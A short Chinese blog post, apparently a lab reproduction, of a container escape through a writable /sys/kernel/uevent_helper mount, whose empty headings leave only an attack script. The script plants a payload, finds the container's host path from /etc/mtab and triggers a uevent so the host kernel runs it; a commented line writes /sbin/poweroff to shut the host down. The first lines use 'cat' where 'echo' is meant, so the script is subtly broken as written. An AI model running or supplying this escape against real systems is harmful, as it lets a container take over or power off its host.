敏感挂载userhelper容器逃逸复现

目录

前言

分析

实验 

---

前言

分析

实验 

# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets uevent_helper to /path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Triggers a uevent
echo change > /sys/class/mem/null/uevent
# or else
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Reads the output
cat /output